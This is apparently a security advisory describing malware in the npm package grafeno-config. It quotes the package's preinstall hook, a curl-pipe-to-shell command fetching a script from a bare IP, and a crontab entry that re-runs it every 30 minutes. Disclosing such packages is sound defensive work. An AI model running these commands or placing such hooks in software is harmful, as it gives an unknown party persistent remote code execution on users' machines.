    Summary: Malicious code in grafeno-config (npm)

    Details: Source: amazon-inspector (ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af) package.json declares a preinstall lifecycle hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare-IP host over plain HTTP and piping it to /bin/bash on `npm install`. The same hook appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, re-fetching and executing whatever that host serves every 30 minutes. The payload is unpinned, unverified, and mutable by whoever controls 216.126.236.46, giving arbitrary remote code execution on the installer's host at install time and persistent execution thereafter, independent of whether the package remains installed.
